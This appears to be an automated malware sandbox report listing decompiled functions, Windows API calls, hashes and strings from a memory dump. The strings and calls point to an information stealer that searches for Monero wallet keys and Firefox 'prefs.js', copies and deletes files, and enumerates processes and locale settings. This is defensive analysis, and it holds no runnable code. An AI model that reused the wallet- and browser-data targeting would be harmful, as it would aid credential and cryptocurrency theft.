Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 195928f0d1e5b6eb22f80136a476a5a8b4bcf36068e0c772bc11f27c23de00b2
Instruction ID: e271aabbf09b3ec73e85b88ee3089de47e31a5fba8b4f00fd06da6cbd6b8ad5e
Opcode Fuzzy Hash: 195928f0d1e5b6eb22f80136a476a5a8b4bcf36068e0c772bc11f27c23de00b2
Instruction Fuzzy Hash: 83B142719001189BDB24FF68DC96EEE7379EF54300F5085A9E40A96151EF34AB49CFB2

Function 00D716D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D9510C,?,?,?,00D951B4,?,?,00000000,?,00000000), ref: 00D71923
StrCmpCA.SHLWAPI(?,00D9525C), ref: 00D71973
StrCmpCA.SHLWAPI(?,00D95304), ref: 00D71989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D71D40
DeleteFileA.KERNEL32(00000000), ref: 00D71DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00D71E20
FindClose.KERNEL32(000000FF), ref: 00D71E32

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Strings

\*.*, xrefs: 00D717F1

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 9ab2f22c03ca52bbd2c44b7ee3770ac484a43713aebd1f737393f3e52584ea94
Instruction ID: 9d519e518245c0eff564e8330e1b297d30df0b3dbbe4b30643cee061c26f21c6
Opcode Fuzzy Hash: 9ab2f22c03ca52bbd2c44b7ee3770ac484a43713aebd1f737393f3e52584ea94
Instruction Fuzzy Hash: 3A12BF719101289AEB19FB64DC96EEE7378EF54300F4045DAB50A66091EF346F89CFB2

Function 00D7DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D914B0,00D90C2A), ref: 00D7DAEB
StrCmpCA.SHLWAPI(?,00D914B4), ref: 00D7DB33
StrCmpCA.SHLWAPI(?,00D914B8), ref: 00D7DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00D7DDCC
FindClose.KERNEL32(000000FF), ref: 00D7DDDE

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 2315328e343649d31970990eb9c5152aacbbf8c5c2a848fee879d21f7f5de73b
Instruction ID: 9e14ef453d058350233da517a071e28e5e2da7599216212a6855cc36486c08a1
Opcode Fuzzy Hash: 2315328e343649d31970990eb9c5152aacbbf8c5c2a848fee879d21f7f5de73b
Instruction Fuzzy Hash: 969135729001189BDB14FB74EC969ED737DEF84300F408659F91A96181FE38AB19DBB2

Function 00D87B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

GetKeyboardLayoutList.USER32(00000000,00000000,00D905AF), ref: 00D87BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00D87BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00D87C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00D87C62
LocalFree.KERNEL32(00000000), ref: 00D87D22

Strings

/ , xrefs: 00D87C7F

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 524e31e9891b81cfcce70e21846a3e4e67264881e2f54fccc96abe5e8828cb04
Instruction ID: dc841facf25c8514f2c7f2fdac017cfdeae71697678a1d217de0e89d1c44fccb
Opcode Fuzzy Hash: 524e31e9891b81cfcce70e21846a3e4e67264881e2f54fccc96abe5e8828cb04
Instruction Fuzzy Hash: 08413D71940228ABDB24EB94DC99BEEB778FF44700F2041DAE50962191DB746F85CFB1

Function 00D7E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00D90D73), ref: 00D7E4A2
StrCmpCA.SHLWAPI(?,00D914F8), ref: 00D7E4F2
StrCmpCA.SHLWAPI(?,00D914FC), ref: 00D7E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00D7EBDF

Strings

\*.*, xrefs: 00D7E44D

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 6286fec4bd7c3ba42891864c1b5f0bb56e7b180c685e036e33105db59f1b15cf
Instruction ID: 641225716e9059902928be6430df22b6361f25f4b4ab68dc0bebd640b6286129
Opcode Fuzzy Hash: 6286fec4bd7c3ba42891864c1b5f0bb56e7b180c685e036e33105db59f1b15cf
Instruction Fuzzy Hash: 5A1213719101189AEB18FB64DC96EED7379EF54300F4045EAB50AA6091EF386F49CFB2

Function 00D89600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00D8961E
Process32First.KERNEL32(00D90ACA,00000128), ref: 00D89632
Process32Next.KERNEL32(00D90ACA,00000128), ref: 00D89647
StrCmpCA.SHLWAPI(?,00000000), ref: 00D8965C
CloseHandle.KERNEL32(00D90ACA), ref: 00D8967A

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 680aae516ceb1183678f17541598d48f8f7716f6037e7c7068c293f72bb15f63
Instruction ID: fc0d8a13365674a2ca866b06b42036b7be062fe7e5ceb620742d91e0dc214040
Opcode Fuzzy Hash: 680aae516ceb1183678f17541598d48f8f7716f6037e7c7068c293f72bb15f63
Instruction Fuzzy Hash: E7010CB5A00208ABCB14EFA5DD99BEDB7F8EB48700F144288B945A6240EB34DB40DF61

Function 00D88680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00D905B7), ref: 00D886CA
Process32First.KERNEL32(?,00000128), ref: 00D886DE
Process32Next.KERNEL32(?,00000128), ref: 00D886F3

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

CloseHandle.KERNEL32(?), ref: 00D88761

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 33b42c18509f5f5858664ffdcc7678f704b06094c341d9da1e864b8bf426aa6b
Instruction ID: 2c70889079fb6b85306e36840983d14ac7dc3493fc3c961ad24083ec6ecddaa1
Opcode Fuzzy Hash: 33b42c18509f5f5858664ffdcc7678f704b06094c341d9da1e864b8bf426aa6b
Instruction Fuzzy Hash: 30314B71901218ABDB24EF54DC85FEEB778EF45700F5042AAE10AA21A0DF346A45CFB2

Function 00D87A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01B0ED80,00000000,?,00D90E10,00000000,?,00000000,00000000), ref: 00D87A63
RtlAllocateHeap.NTDLL(00000000), ref: 00D87A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01B0ED80,00000000,?,00D90E10,00000000,?,00000000,00000000,?), ref: 00D87A7D
wsprintfA.USER32 ref: 00D87AB7

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

